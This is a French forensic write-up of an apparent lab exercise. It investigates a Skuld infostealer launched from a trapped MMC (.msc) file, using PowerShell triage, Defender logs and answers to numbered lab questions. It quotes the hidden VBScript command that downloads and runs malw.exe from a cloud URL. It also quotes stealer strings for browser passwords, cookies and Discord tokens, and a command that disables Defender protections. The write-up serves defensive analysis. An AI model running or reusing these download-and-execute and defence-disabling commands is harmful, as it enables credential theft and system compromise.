Lab Robber : investigation d’un stealer déclenché via un fichier MMC piégé
Système d’analyse :
EC2AMAZ-4V06B1E, sessionAdministratorPérimètre : sorties PowerShell, chaînes extraites demalw.exeetCover Letter.msc, journaux Windows Période des artefacts : principalement le 18 septembre 2024 ; un événement de capture d’écran daté du 10 octobre 2024
⚠️ Note de confidentialité : le mot de passe RDP et le jeton secret du webhook Discord ne sont pas reproduits dans ces notes. Le webhook est indiqué avec son ID et son jeton masqué.
Table des matières
- Résumé exécutif
- Commandes et résultats
- Synthèse des réponses soutenues par les éléments
- Limites et précautions
Résumé exécutif
Le fichier Cover Letter.msc contient une feuille XSL qui exécute du VBScript. Celui-ci appelle WScript.Shell.Run pour lancer une commande cmd /c, télécharger malw.exe depuis une URL Cloudflare R2 présignée, puis exécuter le fichier téléchargé. Le binaire présente des chaînes correspondant au projet Skuld/stealer : extraction de données de navigateurs et de jetons Discord, appel à ip-api.com, et modules de démarrage.
Microsoft Defender a détecté Trojan:Win32/Sabsik.FL.A!ml dans malw.exe puis k.exe, et a mis plusieurs copies en quarantaine. Les journaux disponibles ne prouvent pas l’heure exacte du clic sur le fichier .msc. Le meilleur horodatage disponible est la première détection de malw.exe à 03:57:32 le 18 septembre 2024 ; cette détection n’est pas, à elle seule, une preuve de l’heure du clic.
Un événement Security 4688 du 10 octobre 2024 à 06:28:49 contient une commande PowerShell avec -EncodedCommand. Le Base64, de 3 548 caractères, a été extrait puis décodé ; son script capture les écrans avec Graphics.CopyFromScreen et enregistre les images sous Display (n).png.
1. Commandes et résultats
1.1 Recherche de chaînes dans malw.exe — Q4, Q5, Q9 et Q10
$p='C:\Users\Administrator\Desktop\Tradecraft\malw.exe'
$b=[IO.File]::ReadAllBytes($p)
$a=[Text.Encoding]::ASCII.GetString($b)
$u=[Text.Encoding]::Unicode.GetString($b)
$s=@([regex]::Matches($a,'[\x20-\x7E]{5,}') | ForEach-Object Value)
$s+=@([regex]::Matches($u,'[\x20-\x7E]{5,}') | ForEach-Object Value)
'=== Q4 : services IP ==='
$s | Where-Object {$_ -match '(?i)ipify|ip-api|ipinfo|icanhazip|ifconfig|ipwho|ipapi'} | Sort-Object -Unique
'=== Q5 : indices de démarrage ==='
$s | Where-Object {$_ -match '(?i)CurrentVersion|startup|StartUp|Software\\Microsoft\\Windows\\CurrentVersion\\Run'} | Sort-Object -Unique
Sortie pertinente observée :
=== Q4 : services IP ===
%shttp://ip-api.com/json\lightcord\Local State
=== Q5 : indices de démarrage ===
/home/polluxeos/skuld-main/modules/startup/startup.go
github.com/hackirby/skuld/modules/startup.Run
...
\Microsoft\Protect\SecurityHealthSystray.exe
Software\Microsoft\Windows\CurrentVersion\Run
Une autre extraction de chaînes montre notamment :
SELECT action_url, username_value, password_value, date_created FROM logins
SELECT name, encrypted_value, host_key, path, expires_utc FROM cookies
SELECT url, title, visit_count, last_visit_time FROM urls
SELECT name, value, host, path, expiry FROM moz_cookies
https://discord.com/api/v9/users/@me/billing/payment-sources
https://discord.com/api/v9/users/@me/guilds?with_counts=true
Interprétation :
| # | Observation |
|---|---|
| Q4 | Service IP repéré : ip-api.com (URL observée : http://ip-api.com/json) |
| Q5 | Les chaînes du binaire indiquent le module de démarrage et SecurityHealthSystray.exe. La valeur de registre par défaut dans le projet Skuld est Realtek HD Audio Universal Service — il s’agit du nom de valeur, pas du nom de l’exécutable |
| Q9 | Parmi les choix proposés, les éléments corroborés sont Cookies, Downloads et history.txt ; pas le fichier SAM |
| Q10 | Le code de validation du jeton utilise https://discord.com/api/v9/users/@me avec le jeton dans l’en-tête Authorization et vérifie un statut HTTP 200. Les autres routes Discord listées ci-dessus servent à recueillir des données de compte |
1.2 Vérification de la clé de démarrage actuelle
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "*" 2>$null
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
org.openvpn.client REG_SZ C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe --opened-at-login --minimize
End of search: 1 match(es) found.
Interprétation : au moment de cette vérification, la clé Run de l’utilisateur courant ne montrait que l’entrée OpenVPN. Cela ne contredit pas les chaînes statiques du binaire ; cela signifie seulement que l’entrée malveillante n’était pas visible dans cette clé pour cet utilisateur au moment du contrôle.
1.3 Recherche d’événements PowerShell pour le 18 septembre
$from=[datetime]'2024-09-18 03:00'
$to=[datetime]'2024-09-18 04:30'
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-PowerShell/Operational'
Id=4103,4104
StartTime=$from
EndTime=$to
} | Select-Object TimeCreated,Id,Message | Format-List
Get-WinEvent : No events were found that match the specified selection criteria.
FullyQualifiedErrorId : NoMatchingEventsFound
ℹ️ Une recherche complémentaire avec les termes
mmc.exe,Cover Letter,malw.exe,powershell,encodedcommand,FromBase64Stringetscreenshotn’a pas fourni de correspondance pour cette période. Le journal Sysmon n’apparaissait pas dans l’inventaire fourni.
1.4 Inventaire des journaux disponibles
Get-WinEvent -ListLog * |
Where-Object {$_.LogName -match 'Defender|Sysmon|PowerShell|Security'} |
Select-Object LogName,IsEnabled,RecordCount | Format-Table -AutoSize
Windows PowerShell True 8621
Security True 365142
Microsoft-Windows-Windows Defender/Operational True 1106
Microsoft-Windows-PowerShell/Operational True 7897
⚠️ Aucun canal Sysmon/Operational n’apparaît dans cette sortie.
1.5 Journaux Microsoft Defender — 18 septembre 2024
$from=[datetime]'2024-09-18 03:00'
$to=[datetime]'2024-09-18 04:30'
Get-MpThreatDetection |
Where-Object {$_.InitialDetectionTime -ge $from -and $_.InitialDetectionTime -le $to} |
Format-List ThreatID,InitialDetectionTime,LastThreatStatusChangeTime,Resources,ProcessName,ActionSuccess
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-Windows Defender/Operational'
StartTime=$from
EndTime=$to
} -ErrorAction SilentlyContinue |
Where-Object {$_.Id -in 1116,1117,5007} |
Select-Object TimeCreated,Id,Message | Format-List
Get-MpThreatDetection n’a pas produit de sortie. Les événements du journal Defender, eux, montrent notamment :
| Heure (18/09/2024) | ID | Artefact / résultat observé |
|---|---|---|
03:57:32 |
1116 | Détection de malw.exe, Trojan:Win32/Sabsik.FL.A!ml ; processus indiqué : cmd.exe et, dans un autre événement, explorer.exe |
03:57:45 |
1117 | Action de quarantaine sur malw.exe ; processus indiqué : cmd.exe |
03:58:26–03:58:33 |
1116/1117 | Détections répétées de malw.exe, puis quarantaine ; un événement indique Unknown comme processus |
04:01:53–04:02:44 |
1116/1117 | Détection et quarantaine de k.exe, même nom de menace |
04:05:27 |
5007 | Ajout d’une exclusion Defender pour C:\Users\Administrator\Desktop\Tradecraft\malw.exe |
04:05:29 |
5007 | Changements de configuration Defender, dont EnableNetworkProtection = 0x2 et DisableScriptScanning = 0x1 |
⚠️ Les journaux établissent la détection et les modifications Defender ; ils ne contiennent pas de preuve directe de l’heure du clic sur le document.
1.6 État du dossier de quarantaine
dir "C:\ProgramData\Microsoft\Windows Defender\Quarantine" -Recurse -Force
Sortie résumée :
- Répertoires
EntriesetResourceDatamis à jour le 18/09/2024 vers 04:02 ;Resourcesvers 03:57. - Quatre entrées sous
Entries: deux fichiers de 460 octets vers 04:02, un fichier de 476 octets vers 03:58, un fichier de 476 octets vers 03:57. - Ressource sous
ResourceData\4E\4EA43B8F4D14AC298B02CBF046E43AB588D3E4D3, taille 9 564 352 octets, horodatée vers 03:57. - Ressource correspondante sous
Resources\4E\..., taille 156 octets, horodatée vers 04:02.
ℹ️ Aucun fichier en quarantaine n’a été restauré ni exécuté.
1.7 Métadonnées de l’email et analyse de Cover Letter.msc
Commande pour l’en-tête Date de l’email :
Select-String -Path C:\Users\Administrator\Desktop\Tradecraft\emails\*.eml -Pattern '^Date:' |
Select-Object Line
Date: Wed, 18 Sep 2024 04:44:33 +0000
ℹ️ Ce champ indique la date de l’email ; il ne prouve pas l’heure du clic.
Commande d’extraction de chaînes du fichier MMC :
$p='C:\Users\Administrator\Desktop\Tradecraft\Cover Letter.msc'
$b=[IO.File]::ReadAllBytes($p)
$a=[Text.Encoding]::ASCII.GetString($b)
$u=[Text.Encoding]::Unicode.GetString($b)
[regex]::Matches($a+' '+$u,'[\x20-\x7E]{8,}') |
ForEach-Object Value |
Where-Object {$_ -match '(?i)mmc|powershell|cmd|encodedcommand|base64|script|command|http'} |
Sort-Object -Unique
Le fichier contient un xsl.loadXML(unescape(...)), un script VBScript qui crée WScript.Shell, puis appelle :
Wshshell.run "cmd /c curl -o malw.exe https://upnow-prod.ff45e40d1a1c8f7e7de4e976d0c9e555.r2.cloudflarestorage.com/Ru1Oir7mCROQN5KLLUEOh0e8LZr2/2e795a36-9f09-4aad-89c8-781bba97bca2^?X-Amz-Algorithm=AWS4-HMAC-SHA256^&X-Amz-Credential=cdd12e35bbd220303957dc5603a4cc8e%2F20240918%2Fauto%2Fs3%2Faws4_request^&X-Amz-Date=20240918T034852Z^&X-Amz-Expires=43200^&X-Amz-Signature=351c7dd123bcc4a7d2c9ef46e835a35e5667b981f46ba88740bebf70d1bb3bf3^&X-Amz-SignedHeaders=host^&response-content-disposition=attachment%3B%20filename%3D%22k.exe%22 && malw.exe", 0, True
Le script lance cmd /c, télécharge la réponse sous malw.exe, puis lance malw.exe. Les paramètres 0, True demandent une fenêtre masquée et l’attente de fin. Le fichier MMC contient aussi ShowCommand="SW_HIDE".
💡 Point important — longueur Q13 : dans la sortie décodée, la ligne complète
Wshshell.run "…", 0, Truemesure 552 caractères hors retour de ligne et 554 avec CRLF. La commande passée àWshShell.Runest la sous-chaîne commençant parcmd /c. La source ne contient pas explicitement le cheminC:\Windows\System32\cmd.exe; la variante avec ce chemin complet, proposée auparavant pour atteindre 554 caractères, n’est donc pas directement observée dans le.msc.
⚠️ Note : l’URL présignée ci-dessus portait une expiration de 43 200 secondes à partir du 18 septembre 2024 — elle est donc expirée depuis longtemps et conservée ici uniquement à titre d’indicateur de compromission historique.
1.8 Capture d’écran — événement Security 4688 du 10 octobre 2024
Get-WinEvent -FilterHashtable @{
LogName='Security'
Id=4688
StartTime=[datetime]'2024-10-10 06:28:00'
EndTime=[datetime]'2024-10-10 06:30:00'
} -ErrorAction SilentlyContinue |
Where-Object {$_.Message -match '(?i)powershell|encodedcommand'} |
Select-Object TimeCreated,Message | Format-List
Événement pertinent observé :
TimeCreated : 10/10/2024 6:28:49 AM
New Process Name : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Creator Process Name : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Process Command Line : powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand <Base64 de 3548 caractères>
Le Base64 a été extrait des lignes enveloppées du journal puis décodé en UTF-16LE. Le script utilise System.Drawing et System.Windows.Forms, parcourt Screen.AllScreens, appelle Graphics.CopyFromScreen(...), puis écrit les fichiers ./Display (1).png, ./Display (2).png, etc.
Événements voisins observés dans la même fenêtre :
06:28:50 powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
-DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true
-EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force
-MAPSReporting Disabled -SubmitSamplesConsent NeverSend
06:28:50 csc.exe ... yfmues5u.cmdline
06:28:52 powershell Set-MpPreference -SubmitSamplesConsent 2
⚠️ Ces événements sont datés du 10 octobre 2024, contrairement aux détections Defender de
malw.exedu 18 septembre. Ils sont les éléments qui justifient la réponse Q15 ; ils ne déterminent pas l’heure du clic de Q14.
2. Synthèse des réponses soutenues par les éléments
| # | Réponse / conclusion | Niveau de preuve |
|---|---|---|
| Q4 | ip-api.com (http://ip-api.com/json) |
Chaîne présente dans malw.exe |
| Q5 | Exécutable de démarrage par défaut : SecurityHealthSystray.exe ; nom de valeur Run associé au projet : Realtek HD Audio Universal Service |
Chaînes du binaire et code/publication Skuld ; la clé Run observée en direct ne contenait que l’entrée OpenVPN |
| Q9 | A. Cookies, B. Downloads, D. history.txt | Options corroborées par les chaînes et modules d’extraction navigateur |
| Q10 | https://discord.com/api/v9/users/@me |
Fonction de validation du jeton |
| Q13 | Ligne de WshShell.Run donnée à la section 1.7 ; la variante du .msc commence par cmd /c curl -o malw.exe … && malw.exe |
Décodée directement du .msc. Voir la note de longueur de 554 caractères |
| Q14 | Heure exacte du clic non établie. 03:57:32 est la première détection Defender de malw.exe, pas une preuve directe du clic |
Pas d’événement Sysmon/4688/4104 fourni pour ce clic |
| Q15 | Ligne powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand … ; payload seul de 3 548 caractères |
Événement 4688 et décodage validé par CopyFromScreen |
3. Limites et précautions
| # | Limite |
|---|---|
| 1 | Les événements de détection/quarantaine Defender montrent l’activité du malware, mais ne permettent pas de fixer à la seconde l’ouverture de Cover Letter.msc |
| 2 | La date de l’email (04:44:33 +0000), l’heure de modification antérieure du fichier .msc (rapportée à 03:47:41) et les heures de détection sont des horodatages différents ; il ne faut pas les confondre avec le clic |
| 3 | Le journal Security du 10 octobre montre la commande de capture d’écran et des changements de préférences Defender. Le rapport les traite comme des événements observés à cette date, sans affirmer qu’ils se sont produits lors du clic du 18 septembre |
| 4 | Les identifiants RDP et le jeton de webhook ont été volontairement omis ou masqués. L’URL présignée du binaire figure dans ces notes pour préserver l’indicateur contenu dans l’artefact ; elle portait une expiration de 43 200 secondes à partir du 18 septembre 2024 et n’est pas nécessaire à réutiliser |
Leçons retenues
- Une détection antivirus (ici Defender à
03:57:32) marque le moment de la découverte, pas nécessairement le moment de l’exécution initiale — les deux horodatages peuvent diverger de plusieurs minutes voire plus selon le comportement du malware et les mécanismes de scan. - L’absence d’un journal clé (ici Sysmon) limite fortement la capacité à établir une chronologie précise d’un incident. Quand plusieurs sources de preuve (email, modification de fichier, détection AV) donnent des horodatages différents, il est essentiel de ne pas les confondre et de documenter explicitement ce que chacun prouve réellement.
- Un fichier
.msc(normalement une console de gestion Microsoft) peut être détourné pour exécuter du VBScript via une feuille XSL — un vecteur d’exécution peu courant qui mérite d’être surveillé. - Face à des données sensibles dans un artefact (URL présignée, jetons), il est possible de documenter l’indicateur technique sans republier des secrets réutilisables — ici en notant l’expiration de l’URL plutôt qu’en omettant totalement l’IOC.
Références
- Projet Skuld (stealer open-source,
github.com/hackirby/skuld) — modules de démarrage, extraction navigateurs, intégration Discord - Détection Microsoft Defender :
Trojan:Win32/Sabsik.FL.A!ml - Event ID Windows Security 4688 — création de processus
- Event ID Windows Defender 1116/1117 — détection et action de quarantaine
- Event ID Windows Defender 5007 — modification de configuration